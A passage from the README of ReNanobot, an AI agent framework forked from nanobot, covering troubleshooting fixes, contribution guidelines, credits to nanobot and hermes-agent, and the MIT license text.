/path/to/renanobot/venv/bin/nanobot --version
# Option 2: Add to PATH (bash/zsh)
echo 'export PATH="/path/to/renanobot/venv/bin:$PATH"' >> ~/.bashrc
source ~/.bashrc
# Option 3: Add to PATH (fish)
fish_add_path /path/to/renanobot/venv/bin
# Option 4: Create a symlink
ln -s /path/to/renanobot/venv/bin/nanobot ~/.local/bin/nanobotCause: No API key set, or the model's provider doesn't match a configured provider.
Fix:
# Set an API key
export GROQ_API_KEY="your-key"
# Or configure in ~/.nanobot/config.json
{
"agents": {
"defaults": {
"model": "groq/llama-3.3-70b-versatile",
"provider": "groq"
}
},
"providers": {
"groq": { "apiKey": "your-key" }
}
}Cause: The openai SDK is corrupted (a known issue with some versions).
Fix:
pip install --force-reinstall --no-deps openaiCause: The anthropic SDK version in the test environment is missing a module.
Fix: These are pre-existing failures unrelated to ReNanobot. Update the anthropic SDK:
pip install --upgrade anthropicCause: The MCP server needs a configured workspace.
Fix:
nanobot mcp-serve -w ~/.nanobot/workspace -c ~/.nanobot/config.jsonCause: The security guard detected malicious patterns.
Fix: Review the findings:
nanobot skill audit ./suspicious.skillIf you're sure it's safe, bypass the guard:
nanobot skill install ./suspicious.skill --no-guardCause: creationNudgeInterval is 0 (disabled) or the agent isn't using tools.
Fix:
- Check config:
cat ~/.nanobot/config.json | python -c "import json,sys; print(json.load(sys.stdin).get('tools',{}).get('skills',{}).get('creationNudgeInterval', 0))"- Set it to > 0:
python -c "
import json
cfg = json.load(open('$HOME/.nanobot/config.json'))
cfg.setdefault('tools', {}).setdefault('skills', {})['creationNudgeInterval'] = 10
json.dump(cfg, open('$HOME/.nanobot/config.json', 'w'), indent=2)
"- Restart the agent. Nudges fire after turns where the agent uses tools.
Contributions are welcome! Please follow these guidelines:
git clone https://github.com/maruf009sultan/renanobot.git
cd renanobot
python3 -m venv venv
./venv/bin/pip install -e ".[api,documents]"
./venv/bin/pip install pytest pytest-asyncio
# Run tests
./venv/bin/pytest tests/skillpkg/ -v
# Run live tests
./venv/bin/python scripts/live_tests/test_cli_smoke.py- Python 3.11+ (use
from __future__ import annotations) - Type hints everywhere
- Docstrings on all public functions/classes
- Tests for all new features
- Lazy imports for heavy modules
feat(skillpkg): add X
fix(guard): fix Y
docs(readme): update Z
test(self_improvement): add test for W
- Tests pass (
pytest tests/skillpkg/) - Live tests pass (
python scripts/live_tests/test_cli_smoke.py) - No regressions (
pytest tests/ --ignore=tests/providers/test_anthropic_*) - Documentation updated
- Commit messages follow the format above
- Fork of: nanobot by Xubin Ren and the nanobot contributors
- Skill architecture inspired by: hermes-agent by Nous Research
- Enhanced by: maruf009sultan
nanobot-ai v0.2.2
MIT License
Authors: Xubin Ren, the nanobot contributors
Repository: https://github.com/HKUDS/nanobot
Nanobot is an elegant, ultra-lightweight personal AI agent framework. ReNanobot builds on its clean architecture and adds the self-improving skill system. All credit for the core agent loop, provider system, WebUI, gateway, and 13 builtin skills goes to the nanobot team.
hermes-agent v0.18.0
MIT License
Maintainer: Nous Research
Repository: https://github.com/NousResearch/hermes-agent
Hermes-agent is a self-improving, multi-surface AI agent with a sophisticated skill architecture. ReNanobot ports the design of hermes's skill system (manifest, validator, guard, hub, curator, write-approval, provenance, self-improvement) to nanobot's lightweight core. All credit for the skill architecture design goes to the Nous Research team.
ReNanobot is not a copy of either project. It's a synthesis:
- From nanobot: the core agent loop, provider system, WebUI, gateway, 13 builtin skills, 18 original tools, session management, memory consolidation
- From hermes-agent: the design of the skill architecture (not the code — ReNanobot's implementation is ~3,000 LOC vs hermes's ~15,000+ LOC for the equivalent features)
- New in ReNanobot: the
integration.pyadapter pattern (modular core patches), lazy imports via PEP 562, the?rich=1WebUI API, the pragmatic nudge-based self-improvement loop
ReNanobot is MIT-licensed, inheriting from both upstreams (both are MIT).
MIT License
Copyright (c) 2024 Xubin Ren and the nanobot contributors
Copyright (c) 2024 Nous Research
Copyright (c) 2024 maruf009sultan
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.
Built with ❤️ on top of nanobot and inspired by hermes-agent.
Not affiliated with Nous Research or the nanobot team. This is an independent fork.